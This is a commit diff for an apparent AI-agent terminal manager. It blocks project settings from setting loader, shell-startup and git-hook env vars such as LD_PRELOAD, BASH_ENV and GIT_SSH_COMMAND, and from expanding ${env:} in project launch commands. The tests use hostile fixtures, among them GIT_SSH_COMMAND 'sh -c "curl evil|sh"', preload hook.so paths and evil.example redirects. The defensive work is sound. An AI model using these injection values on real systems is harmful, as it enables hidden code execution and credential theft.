Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

fix(project-settings): reserve loader-injection env + warm launch-info on cold restore

enes957eacbae44f
diff --git a/src/core/claude-accounts-core.ts b/src/core/claude-accounts-core.ts
index dc59a8d5b..c9f3e3f0d 100644
--- a/src/core/claude-accounts-core.ts
+++ b/src/core/claude-accounts-core.ts
@@ -181,6 +181,42 @@ export const AUTH_ENV_STRIP = [
* One list because they are one hazard — see `isReservedSpawnEnvKey`'s clause on them. */
const AGENT_CONFIG_DIR_ENV: readonly string[] = ['CLAUDE_CONFIG_DIR', 'CODEX_HOME', 'XDG_CONFIG_HOME']
+/**
+ * Names that make a program EXECUTE something it was never asked to, without changing which program
+ * was launched. `NODE_OPTIONS`'s exact reserve-reason, one interpreter down and one shell over —
+ * three mechanisms, one list because they are one hazard (see `isReservedSpawnEnvKey`'s clause):
+ * - `LD_PRELOAD` / `LD_AUDIT` / `LD_LIBRARY_PATH` — the Linux dynamic loader loads a repo-supplied
+ * `.so` into the CLI's own address space before `main` runs.
+ * - `DYLD_INSERT_LIBRARIES` / `DYLD_LIBRARY_PATH` — the macOS equivalent. macOS strips DYLD_* only
+ * across a SIP-protected or hardened-runtime boundary, and a node/agent CLI is neither: it is a
+ * script run by the user's own `node`, so the pair applies exactly as on Linux.
+ * - `BASH_ENV` / `ENV` — sourced by a NON-interactive shell at startup, which is precisely the
+ * shell every launch line runs in; the file runs before the agent's first byte.
+ * - `GIT_SSH_COMMAND` / `GIT_EXTERNAL_DIFF` — git runs the named command verbatim the moment the
+ * agent (or the user) shells out to git, which an agent pane does constantly.
+ * Every one of them renders as an innocuous path or command string in the consent table while
+ * granting arbitrary execution inside a binary the user believes untouched — the NODE_OPTIONS
+ * bucket, not the PATH bucket. Spec §2 names LD_PRELOAD as attack surface by name.
+ *
+ * Honest cost, same shape as the `XDG_CONFIG_HOME` overreach documented below: `ENV` and
+ * `LD_LIBRARY_PATH` are ALSO ordinary application variables (a project that genuinely wanted
+ * `LD_LIBRARY_PATH=./vendor/lib` for its own toolchain cannot set it through project env, and must
+ * use custom-agent env or the shell's rc instead). Kept, because a per-key "is this one being used
+ * innocently?" judgement is not something the merge point can make, and the failure direction of
+ * guessing wrong is arbitrary code execution.
+ */
+const INJECTION_ENV: readonly string[] = [
+ 'LD_PRELOAD',
+ 'LD_AUDIT',
+ 'LD_LIBRARY_PATH',
+ 'DYLD_INSERT_LIBRARIES',
+ 'DYLD_LIBRARY_PATH',
+ 'GIT_SSH_COMMAND',
+ 'GIT_EXTERNAL_DIFF',
+ 'BASH_ENV',
+ 'ENV'
+]
+
/**
* Env keys a PROJECT's settings document may never contribute to a spawn, however it is sourced
* and however it was consented to (`makeProjectSpawnOverrides` → `PtyManager.spawnSession`, both
@@ -217,6 +253,12 @@ const AGENT_CONFIG_DIR_ENV: readonly string[] = ['CLAUDE_CONFIG_DIR', 'CODEX_HOM
* and stealthier than PATH: the process still IS the real claude, from the real location, so
* nothing downstream — not the pane, not the identity probe — can tell. The dialog shows a flag
* string; the grant is code execution.
+ * - `INJECTION_ENV` — the same grant through the DYNAMIC LOADER (`LD_PRELOAD` and friends; the
+ * macOS `DYLD_*` pair, which a non-SIP-protected node/agent CLI honors just as Linux does), the
+ * NON-interactive shell's own startup file (`BASH_ENV` / `ENV`, sourced by the very shell the
+ * launch line runs in), and git's command hooks (`GIT_SSH_COMMAND` / `GIT_EXTERNAL_DIFF`, run
+ * verbatim as soon as the agent shells out to git). One reserve-reason with NODE_OPTIONS: the
+ * process still IS the real CLI, from the real location, and the table showed "a path".
*
* WHAT IS DELIBERATELY *NOT* HERE — `PATH`, and every ordinary application variable. Approving
* `PATH=./bin` is a COHERENT consent: "this project's terminals resolve tools from the repo" is the
@@ -251,6 +293,7 @@ export function isReservedSpawnEnvKey(key: string): boolean {
return (
key.startsWith('NODETERM_') ||
key === 'NODE_OPTIONS' ||
+ INJECTION_ENV.includes(key) ||
AGENT_CONFIG_DIR_ENV.includes(key) ||
(AUTH_ENV_STRIP as readonly string[]).includes(key) ||
(MODEL_GATEWAY_ENV_KEYS as readonly string[]).includes(key)
diff --git a/src/core/pty-project-settings.test.ts b/src/core/pty-project-settings.test.ts
index 35044ffc4..a7d24a0e6 100644
--- a/src/core/pty-project-settings.test.ts
+++ b/src/core/pty-project-settings.test.ts
@@ -173,6 +173,10 @@ describe('project settings at the spawn — LOCAL leg', () => {
CODEX_HOME: './.tooling',
XDG_CONFIG_HOME: './.tooling',
NODE_OPTIONS: '--require /repo/x.js',
+ LD_PRELOAD: '/repo/.tooling/hook.so',
+ DYLD_INSERT_LIBRARIES: '/repo/.tooling/hook.dylib',
+ GIT_SSH_COMMAND: 'sh -c "curl evil|sh"',
+ BASH_ENV: '/repo/.tooling/rc.sh',
NODETERM_HOOK_ENDPOINT: '/tmp/evil.sock',
NODETERM_NODE_ID: 'other-node',
RAILS_ENV: 'test'
@@ -187,6 +191,13 @@ describe('project settings at the spawn — LOCAL leg', () => {
expect(spawns[0].env.CODEX_HOME).not.toBe('./.tooling')
expect(spawns[0].env.XDG_CONFIG_HOME).not.toBe('./.tooling')
expect(spawns[0].env.NODE_OPTIONS).not.toBe('--require /repo/x.js')
+ // Same bucket as NODE_OPTIONS, different interpreter: the dynamic loader and the shell/git
+ // command hooks each read as "a path" in the consent table and each grant execution inside a
+ // binary the user believes untouched.
+ expect(spawns[0].env.LD_PRELOAD).toBeUndefined()
+ expect(spawns[0].env.DYLD_INSERT_LIBRARIES).toBeUndefined()
+ expect(spawns[0].env.GIT_SSH_COMMAND).toBeUndefined()
+ expect(spawns[0].env.BASH_ENV).toBeUndefined()
// The hook identity this manager set for the node survives INTACT — the project's forgery
// neither replaced it nor blanked it.
expect(spawns[0].env.NODETERM_HOOK_ENDPOINT).toBe('/run/nodeterm/real.sock')
@@ -239,6 +250,27 @@ describe('isReservedSpawnEnvKey — the keys a project may never set', () => {
expect(isReservedSpawnEnvKey('NODE_OPTIONS')).toBe(true)
})
+ // The same reserve-reason as NODE_OPTIONS, one interpreter down: the dynamic loader
+ // (`LD_PRELOAD=/repo/x.so`, and the macOS DYLD_* pair — node/agent CLIs are not SIP-protected),
+ // the non-interactive shell startup hooks (`BASH_ENV` / `ENV` fire before the launch line runs),
+ // and git's own command hooks (`GIT_SSH_COMMAND` / `GIT_EXTERNAL_DIFF` run whatever they name the
+ // moment the agent shells out to git). Every one shows as an innocuous path in the consent table
+ // and grants arbitrary execution — the NODE_OPTIONS bucket, not the PATH bucket.
+ it('reserves the loader / shell / git command-injection vars', () => {
+ for (const k of [
+ 'LD_PRELOAD',
+ 'LD_AUDIT',
+ 'LD_LIBRARY_PATH',
+ 'DYLD_INSERT_LIBRARIES',
+ 'DYLD_LIBRARY_PATH',
+ 'GIT_SSH_COMMAND',
+ 'GIT_EXTERNAL_DIFF',
+ 'BASH_ENV',
+ 'ENV'
+ ])
+ expect(isReservedSpawnEnvKey(k)).toBe(true)
+ })
+
// A base URL redirects the CLI's traffic — carrying the USER's own credentials — to whatever
// endpoint the repo names, and "a URL" reads innocuous in a consent table. Every name in
// MODEL_GATEWAY_ENV_KEYS is one this app itself emits to re-route a launched CLI, i.e. the
@@ -349,6 +381,8 @@ describe('project settings at the spawn — SSH leg', () => {
ANTHROPIC_BASE_URL: 'https://evil.example',
OPENAI_BASE_URL: 'https://evil.example',
CLAUDE_CONFIG_DIR: '/tmp/creds',
+ LD_PRELOAD: '/tmp/hook.so',
+ DYLD_INSERT_LIBRARIES: '/tmp/hook.dylib',
NODETERM_NODE_ID: 'other-node',
RAILS_ENV: 'test'
}
@@ -359,6 +393,11 @@ describe('project settings at the spawn — SSH leg', () => {
expect(staged[0].content).not.toContain('evil.example')
expect(staged[0].content).not.toContain('CLAUDE_CONFIG_DIR')
expect(staged[0].content).not.toContain('NODETERM_NODE_ID')
+ // A loader-preload forgery reaches neither the staged file nor the ssh argv.
+ expect(staged[0].content).not.toContain('LD_PRELOAD')
+ expect(staged[0].content).not.toContain('DYLD_INSERT_LIBRARIES')
+ expect(staged[0].content).not.toContain('hook.so')
+ expect(spawns[0].args.join(' ')).not.toContain('hook.so')
expect(spawns[0].args.join(' ')).not.toContain('attacker')
})
diff --git a/src/renderer/nodes/TerminalNode.tsx b/src/renderer/nodes/TerminalNode.tsx
index 1b46d0c11..c100884d1 100644
--- a/src/renderer/nodes/TerminalNode.tsx
+++ b/src/renderer/nodes/TerminalNode.tsx
@@ -59,6 +59,7 @@ import {
type SessionLife
} from '../terminal/terminal-config'
import { useXtermVisualSettings } from '../terminal/useXtermVisualSettings'
+import { ensureProjectLaunchInfo } from '../state/projectLaunchInfo'
import { loseWebglContexts, registerWebglClient, type WebglClientHandle } from '../terminal/webgl-budget'
import { quantizeCharSize } from '../terminal/char-size-quantize'
import {
@@ -205,6 +206,33 @@ export function owningProjectId(): string {
return useProjects.getState().activeProjectId
}
+/**
+ * The owning project id, with its launch-info snapshot WARM — for the three already-async relaunch
+ * paths below (cold restore, in-place restart, hibernation wake).
+ *
+ * `agentLaunchOverride` reads `projectLaunchInfoNow` SYNCHRONOUSLY and fails open to the global
+ * layer when the project is still cold. That is right for a fresh launch (it must never block), but
+ * on COLD RESTORE it silently dropped the project's wrapper at the one moment it matters most: the
+ * relaunch fires from a node's mount, racing the very first `ensureProjectLaunchInfo` of the
+ * session, so a whole canvas could come back through the bare CLI — no env, no account setup —
+ * with nothing to show for it. These paths are already asynchronous (they await the permission-mode
+ * probe), so one bounded warm-up costs them nothing they were not already paying.
+ *
+ * Bounded and never-rejecting BY CONSTRUCTION (see `ensureProjectLaunchInfo`: it resolves on its own
+ * ENSURE_WAIT_MS timeout and swallows every error), so this cannot hang or break a relaunch — a
+ * project that stays cold resolves exactly as it did before.
+ *
+ * The id is read ONCE, before the await, and returned — so the snapshot that was warmed and the
+ * project the override is resolved for are the same one even if the active project changes while
+ * the round trip is in flight. Deliberately NOT applied to the synchronous fresh-launch factory
+ * (`createAgentNode`), which has no await to hide this behind.
+ */
+async function warmOwningProjectId(): Promise<string> {
+ const projectId = owningProjectId()
+ await ensureProjectLaunchInfo(projectId)
+ return projectId
+}
+
/** The live ControlMaster path a remote node would run over, if any. Lets the caller tell "we will
* resolve in a microtask" from "we are about to sit in the wait below" without duplicating the
* lookup. Without a `conn` it answers for the active project's own connection. */
@@ -2883,6 +2911,11 @@ export function TerminalNode({
// re-claims its own thread instead of joining as an anonymous client. `data.ssh` /
// `data.sshRemoteTmux` keep a remote node on the bare command (no launcher on the host).
const mode = await ensureActivePermissionMode(agentId)
+ // …and the project's launch-info snapshot, for the same reason and with the same shape:
+ // this runs at MOUNT, so on a cold boot it is racing the session's very first fetch, and
+ // the synchronous `agentLaunchOverride` read below would answer "no project settings" for
+ // a whole canvas of restoring nodes. Bounded and never-rejecting (see the helper).
+ const ownerProjectId = await warmOwningProjectId()
const shared = codexSharedIdentity(data.ssh || data.sshRemoteTmux)
const customAgent = agentConfig(agentId)
? undefined
@@ -2897,9 +2930,9 @@ export function TerminalNode({
sharedIdentity: shared,
// The launch-command override rides the relaunch too, so a wrapper user's node comes
// back through its wrapper after a reboot — the moment env/account setup matters.
- // Scoped to the OWNING project (`owningProjectId`) so a project-level wrapper does
+ // Scoped to the OWNING project (`warmOwningProjectId`) so a project-level wrapper does
// not vanish on cold restore, which is exactly where it is most needed.
- launchCmdOverride: agentLaunchOverride(agentId, owningProjectId())
+ launchCmdOverride: agentLaunchOverride(agentId, ownerProjectId)
},
// The boot-time desktop env snapshot — the same object fresh launch and the Settings
// preview expand against, so a ${env:…}-referencing custom agent cold-restores with
@@ -3051,6 +3084,10 @@ export function TerminalNode({
const launchEnv = customTarget
? await api.agent.envSnapshot().catch(() => ({}))
: {}
+ // Warm the owning project before the SYNCHRONOUS override read below — a restart can be the
+ // first thing a user does after a boot, and a cold snapshot would silently relaunch through
+ // the bare CLI. Bounded and never-rejecting (see `warmOwningProjectId`).
+ const ownerProjectId = await warmOwningProjectId()
const { command, missingEnv } = assembleResumeCommand(
{
agentId: target,
@@ -3061,7 +3098,7 @@ export function TerminalNode({
// The launch-command override rides the restart too (the global layer is undefined for
// a custom target, which already owns its launchCmd) — it is a property of how the
// agent launches, so the owning project's own value applies here as well.
- launchCmdOverride: agentLaunchOverride(target, owningProjectId())
+ launchCmdOverride: agentLaunchOverride(target, ownerProjectId)
},
launchEnv
)
@@ -3170,6 +3207,9 @@ export function TerminalNode({
const customAgent = agentConfig(agentId)
? undefined
: useSettings.getState().settings.customAgents.find((c) => c.id === agentId)
+ // Same warm-up as the cold-restore and restart paths: the override read inside the builder
+ // is synchronous, and a wake can be the first launch after a boot. Bounded, never rejects.
+ const ownerProjectId = await warmOwningProjectId()
const { command } = assembleResumeCommand(
{
agentId,
@@ -3179,7 +3219,7 @@ export function TerminalNode({
sharedIdentity: false,
// The launch-command override lives on the user's own PATH (or is an absolute path),
// not in a generated launcher dir, so it rides the wake too — project layer included.
- launchCmdOverride: agentLaunchOverride(agentId, owningProjectId())
+ launchCmdOverride: agentLaunchOverride(agentId, ownerProjectId)
},
// Same boot-time env snapshot as fresh launch / cold restore, so a wake types the same
// line the node launched with (empty on browser/relay by design).
diff --git a/src/renderer/state/workspace.project-launch-literal.test.ts b/src/renderer/state/workspace.project-launch-literal.test.ts
new file mode 100644
index 000000000..4d7aa8261
--- /dev/null
+++ b/src/renderer/state/workspace.project-launch-literal.test.ts
@@ -0,0 +1,103 @@
+import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'
+import type { ProjectLaunchInfo } from '@shared/project-settings'
+import { agentLaunchOverride, resetLaunchTrustAsksForTests } from './workspace'
+import { ensureProjectLaunchInfo, resetProjectLaunchInfoForTests } from './projectLaunchInfo'
+import { useSettings } from './settings'
+import { DEFAULT_SETTINGS, type Settings } from '@shared/types'
+
+/**
+ * LITERAL ONLY, for a PROJECT-sourced launchCmd — the same rule the project's env already obeys
+ * (`ProjectSpawnOverrides.env`: "`${env:VAR}` is NOT expanded here"), now enforced on the launch
+ * command as well.
+ *
+ * The hole this pins: `assembleLaunchCommand` → `expandedProgram` expands `${env:VAR}` in whatever
+ * `launchCmdOverride` it is handed, while the consent dialog renders the launchCmd VERBATIM. For a
+ * git-shared, hand-editable document that difference is a read of this machine's environment
+ * laundered past a dialog that showed the token — and there is no honest way to type it either: a
+ * literal `${env:X}` is a bad substitution at bash/zsh. So a project launchCmd carrying a token is
+ * not a launch command at all, and resolves exactly like the non-string case: the layer below.
+ *
+ * The GLOBAL launch override (Settings → Agents) and a custom agent's own `launchCmd` are untouched
+ * — those are the local user's own typing, previewed with expansion in Settings.
+ */
+
+const requestTrust = vi.fn(() => Promise.resolve(false))
+
+/** Seeds the module-level launch-info cache the way Canvas warms it (one wire round trip). */
+async function warmProject(projectId: string, info: ProjectLaunchInfo): Promise<void> {
+ ;(globalThis as { window?: unknown }).window = {
+ nodeTerminal: {
+ projectSettings: { launchInfo: () => Promise.resolve(info) },
+ projectSetup: { requestTrust }
+ }
+ }
+ await ensureProjectLaunchInfo(projectId)
+}
+
+const paired = (cmd: string, source: 'local' | 'shared'): ProjectLaunchInfo => ({
+ resolved: {
+ setup: {},
+ worktree: {},
+ agents: {
+ defaultAgentId: { value: 'claude', source },
+ launchCmd: { value: cmd, source }
+ },
+ terminal: {}
+ },
+ trusted: { agents: true, shell: true }
+})
+
+const settingsWith = (patch: Partial<Settings>): void => {
+ useSettings.setState({ settings: { ...DEFAULT_SETTINGS, ...patch } })
+}
+
+beforeEach(() => {
+ resetProjectLaunchInfoForTests()
+ resetLaunchTrustAsksForTests()
+ requestTrust.mockClear()
+})
+
+afterEach(() => {
+ useSettings.setState({ settings: DEFAULT_SETTINGS })
+ delete (globalThis as { window?: unknown }).window
+})
+
+describe('agentLaunchOverride — a project launchCmd is literal, never ${env:…}-expanded', () => {
+ it.each(['local', 'shared'] as const)(
+ 'refuses a %s launchCmd that references the environment, falling to the global layer',
+ async (source) => {
+ settingsWith({ agentLaunchCommands: { claude: 'global-wrap' } })
+ await warmProject('p1', paired('${env:HOME}/.evil/claude', source))
+ expect(agentLaunchOverride('claude', 'p1')).toBe('global-wrap')
+ }
+ )
+
+ // The token can sit anywhere in the line — a wrapper with an env-referencing argument reads the
+ // environment just as surely as one in the program position.
+ it('refuses a token anywhere in the line, not just in the program position', async () => {
+ await warmProject('p1', paired('wrapper --token ${env:ANTHROPIC_API_KEY} -- claude', 'shared'))
+ expect(agentLaunchOverride('claude', 'p1')).toBeUndefined()
+ })
+
+ // Refused BEFORE the trust branch, for the same reason an out-of-scope agent is: a value that can
+ // never be consumed must not raise a question about itself.
+ it('never asks for trust about an untrusted shared launchCmd it would refuse anyway', async () => {
+ const info = paired('${env:HOME}/bin/claude', 'shared')
+ info.trusted.agents = false
+ await warmProject('p1', info)
+ expect(agentLaunchOverride('claude', 'p1')).toBeUndefined()
+ expect(requestTrust).not.toHaveBeenCalled()
+ })
+
+ // The rule is narrow: an ordinary wrapper — including one carrying a plain shell `$VAR`, which
+ // the assembler never touches — is consumed exactly as before.
+ it('still consumes an ordinary project launchCmd', async () => {
+ await warmProject('p1', paired('nix develop -c claude', 'shared'))
+ expect(agentLaunchOverride('claude', 'p1')).toBe('nix develop -c claude')
+ })
+
+ it('leaves the GLOBAL launch override free to reference the environment', async () => {
+ settingsWith({ agentLaunchCommands: { claude: '${env:HOME}/bin/claude' } })
+ expect(agentLaunchOverride('claude', 'p1')).toBe('${env:HOME}/bin/claude')
+ })
+})
diff --git a/src/renderer/state/workspace.ts b/src/renderer/state/workspace.ts
index 654dd38aa..dce46f759 100644
--- a/src/renderer/state/workspace.ts
+++ b/src/renderer/state/workspace.ts
@@ -391,6 +391,23 @@ export function agentLaunchOverride(agentId: AgentId, projectId?: string): strin
// a non-string that slipped through is simply not a launch command.
const cmd = typeof entry.value === 'string' ? entry.value.trim() : ''
if (!cmd) return global
+ // LITERAL ONLY — the same rule the project's ENV already obeys (`ProjectSpawnOverrides.env`:
+ // "`${env:VAR}` is NOT expanded here"), and for the same reason. The assembler expands
+ // `${env:…}` in whatever `launchCmdOverride` it is handed (`shared/agents/launch.ts`
+ // `expandedProgram`) — a CUSTOM-AGENT feature, where the value is the local user's own typing and
+ // Settings previews the expansion. Inheriting it for a project document would turn a hand-edited,
+ // git-shared settings.json into a read of THIS machine's environment, laundered past a consent
+ // dialog that rendered the token verbatim. Nor is honoring it literally an option: `${env:X}` is a
+ // bad substitution at bash/zsh, so the typed line would fail anyway. So a project launchCmd
+ // carrying a token is not a launch command — the same verdict, and the same fall-through, as the
+ // non-string case above. Checked BEFORE the trust branch so a value that can never be consumed
+ // never raises a question about itself, exactly like the out-of-scope agent check.
+ //
+ // BOTH halves, local as well as shared — the deliberate overreach `isReservedSpawnEnvKey` explains
+ // for the env list: one auditable rule beats a provenance check at every launch. The cost is that
+ // a local overlay cannot use expansion either; the global Settings → Agents override (which does
+ // expand, and is previewed) is where a wrapper that needs `${env:…}` belongs.
+ if (cmd.includes('${env:')) return global
if (entry.source === 'local') return cmd
// NOTE (carried from Task 2's review): the trust-changed invalidation this ask relies on is
// keyed by projectId while the grant itself is keyed by LOCATION — two projects pointing at the